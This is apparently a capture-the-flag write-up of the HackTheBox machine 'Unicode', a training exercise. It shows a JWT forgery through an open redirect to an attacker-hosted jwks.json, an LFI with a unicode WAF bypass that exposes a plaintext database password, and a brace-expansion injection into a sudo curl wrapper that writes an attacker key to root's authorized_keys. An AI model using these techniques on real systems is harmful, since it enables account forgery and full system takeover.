Unicode is a medium rated machine on HackTheBox created by wh0am1root. For the user part we will forge a JWT to get access to the admin panel. From the admin panel we will find a LFI vulnerability with which we can read database credentials that were reused as another user. Once on the machine this user can run a custom binary with sudo. We are able to abuse this using brace expansion in a curl command to write our public key to rootโs authorized keys.
User
Nmap
As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.192.66
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 21:38 UTC
Nmap scan report for 10.129.192.66
Host is up (0.032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 232.98 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -n -p22,80 -sC -sV 10.129.192.66
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 21:58 UTC
Nmap scan report for 10.129.192.66
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.73 seconds
JWT Forge
There are only two ports open on the machine and 80 seems to be more promising so we will start there. Opening it up in our browser we see the Hackmedia landing page.
We are also able to register our own account which we do to check for additional functionality within the website.
Looking at our cookies we see that auth is handled by JWT tokens.
Taking a close look at the JWT we see that it pulls the public key from a jwks.json from the website. This means if we can redirect it to our own jwks.json we can forge our own jwtโs.
Looking at the source of the home page there is a convenient looking open redirect.
To forge our own tokens we need to generate a RSA public private key pair in a first step.
1
2
3
4
5
6
7
8
$ openssl genrsa -out keypair.pem 2048
Generating RSA private key, 2048 bit long modulus (2 primes)
...............................................................+++++
.................+++++
e is 65537 (0x010001)
$ openssl rsa -in keypair.pem -pubout -out publickey.crt
writing RSA key
$ openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then we download the jwks.json
from the target to see what format it expects.
1
2
3
4
5
6
7
8
9
10
11
$ wget http://hackmedia.htb/static/jwks.json
--2021-11-27 22:24:56-- http://hackmedia.htb/static/jwks.json
Resolving hackmedia.htb (hackmedia.htb)... 10.129.192.66
Connecting to hackmedia.htb (hackmedia.htb)|10.129.192.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 544 [application/json]
Saving to: โjwks.jsonโ
jwks.json 100%[========================================================================================================================================>] 544 --.-KB/s in 0s
2021-11-27 22:24:56 (177 MB/s) - โjwks.jsonโ saved [544/544]
jwks.json
1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}
Next we take the public key and bring it into a format we can use with pythons authlib module to generate a new n
.
1
2
$ cat publickey.crt | sed -z "s/\n/\\\n/g"
-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6w2+L6ASM9vpReZbaFJ7\nvtlmf0MtARmuUsbMQ1HM3ECvPO32A/+NuQkntICvLVRqMGos28P/98aN3FPhiPZ1\nL7UESZkKcaHnB8lC2yt2+9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU/qwteRK5UaU\nwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospc\nYJ60TsduPsf+3X5R6PG7h0/tWdOf8PCJSRyPAOgaM2lXPP7pDsDI/a2GDiRO+E+W\nFmnZiZSkV+arNrzYHOLb3u0zJj62mC8+9oOahWc1P5newV3xzsuXiDUcd1bjSqV/\ndwIDAQAB\n-----END PUBLIC KEY-----\n
jwks.py
1
2
3
4
5
from authlib.jose import jwk
publick_key = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6w2+L6ASM9vpReZbaFJ7\nvtlmf0MtARmuUsbMQ1HM3ECvPO32A/+NuQkntICvLVRqMGos28P/98aN3FPhiPZ1\nL7UESZkKcaHnB8lC2yt2+9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU/qwteRK5UaU\nwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospc\nYJ60TsduPsf+3X5R6PG7h0/tWdOf8PCJSRyPAOgaM2lXPP7pDsDI/a2GDiRO+E+W\nFmnZiZSkV+arNrzYHOLb3u0zJj62mC8+9oOahWc1P5newV3xzsuXiDUcd1bjSqV/\ndwIDAQAB\n-----END PUBLIC KEY-----'
print(jwk.dumps(publick_key, kty='RSA'))
Running the script we get our new n
which we replace in the jwks.json
file.
1
2
$ python jwks.py
{'n': '6w2-L6ASM9vpReZbaFJ7vtlmf0MtARmuUsbMQ1HM3ECvPO32A_-NuQkntICvLVRqMGos28P_98aN3FPhiPZ1L7UESZkKcaHnB8lC2yt2-9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU_qwteRK5UaUwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospcYJ60TsduPsf-3X5R6PG7h0_tWdOf8PCJSRyPAOgaM2lXPP7pDsDI_a2GDiRO-E-WFmnZiZSkV-arNrzYHOLb3u0zJj62mC8-9oOahWc1P5newV3xzsuXiDUcd1bjSqV_dw', 'e': 'AQAB', 'kty': 'RSA'}
jwks.json
1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "6w2-L6ASM9vpReZbaFJ7vtlmf0MtARmuUsbMQ1HM3ECvPO32A_-NuQkntICvLVRqMGos28P_98aN3FPhiPZ1L7UESZkKcaHnB8lC2yt2-9bzNARYyLa9Y37hSBxHbL0L2Li1FxkwU_qwteRK5UaUwwXjPUTlurFD4mHshDgQnzfmGSdXX36Wlak1m8MEqfG7FbQ8IcfbAjPocmJDospcYJ60TsduPsf-3X5R6PG7h0_tWdOf8PCJSRyPAOgaM2lXPP7pDsDI_a2GDiRO-E-WFmnZiZSkV-arNrzYHOLb3u0zJj62mC8-9oOahWc1P5newV3xzsuXiDUcd1bjSqV_dw",
"e": "AQAB"
}
]
}
Next we stand up a python webserver so the target can reach our jwks.json
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
With all pererations met we can now forge our own token using the key pair we generated, a redirect url pointing to our jwks.json
and the new username of admin
.
Exchanging the cookie and refreshing the page the target retrieves our jwks.json
and we are logged in as admin afterwards.
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:11:05] "GET /jwks.json HTTP/1.1" 200 -
LFI
Looking at Last Quarter
report we see it tries to load a pdf file.
Bypassing the WAF with unicode we are able to include other files aswell.
Checking the /etc/nginx/sites-available/default
configuration file it contains two very interesting comments.
1
2
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
The db.yaml
file is stil in the location mentioned and we can retrieve it.
1
2
3
4
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
With these credentials we are now able to log into the machine as the user code and grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ssh code@hackmedia.htb
code@hackmedia.htb's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 28 Nov 2021 09:23:23 AM UTC
System load: 0.0 Processes: 319
Usage of /: 83.7% of 3.87GB Users logged in: 0
Memory usage: 75% IPv4 address for eth0: 10.129.192.66
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Nov 28 09:19:47 2021 from 10.10.14.63
code@code:~$ wc -c user.txt
33 user.txt
Root
Brace expansion
Checking for sudo rights we see that code can run the custom looking binary /usr/bin/treport
as root with no password.
1
2
3
4
5
6
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
Running the binary it displays multiple options.
1
2
3
4
5
6
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:
To test the 3.Download A Threat Report.
functionality we first create a testfile and server it with a python server.
1
2
$ echo dhsanj > test
$ sudo python3 -m http.server 80
Retrieving it with treport
we can see that curl is used to retrieve it and our argument is passed to it.
1
2
3
4
5
6
7
8
9
Enter your choice:3
Enter the IP/file_name:10.10.14.63/test
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file /root/reports/threat_report_09_25_08: No
Warning: such file or directory
100 7 100 7 0 0 118 0 --:--:-- --:--:-- --:--:-- 120
curl: (23) Failed writing body (0 != 7)
Enter your choice:
1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:25:29] "GET /test HTTP/1.1" 200 -
This seems very interesting for command injection. First we need a file we want to write on the target system. A public ssh key into rootโs authorized_keys seems like a good candidate.
1
2
3
4
5
6
7
$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root
Your public key has been saved in root.pub
The key fingerprint is:
We serve the public key again using python.
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Next we select the 3.Download A Threat Report.
again. This time we use brace expansion to specify additional parameters to the curl command.
1
2
3
4
5
6
Enter your choice:3
Enter the IP/file_name:{10.10.14.63/root.pub,-o,/root/.ssh/authorized_keys}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 565 100 565 0 0 10272 0 --:--:-- --:--:-- --:--:-- 10272
Enter your choice:
Our key getโs downloaded and we can ssh into the machine to grab the root flag
1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.192.66 - - [28/Nov/2021 09:28:47] "GET /root.pub HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh -i root root@hackmedia.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 28 Nov 2021 09:29:10 AM UTC
System load: 0.0 Processes: 327
Usage of /: 84.0% of 3.87GB Users logged in: 1
Memory usage: 76% IPv4 address for eth0: 10.129.192.66
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Nov 27 20:39:06 2021 from 10.10.14.63
root@code:~# wc -c root.txt
33 root.txt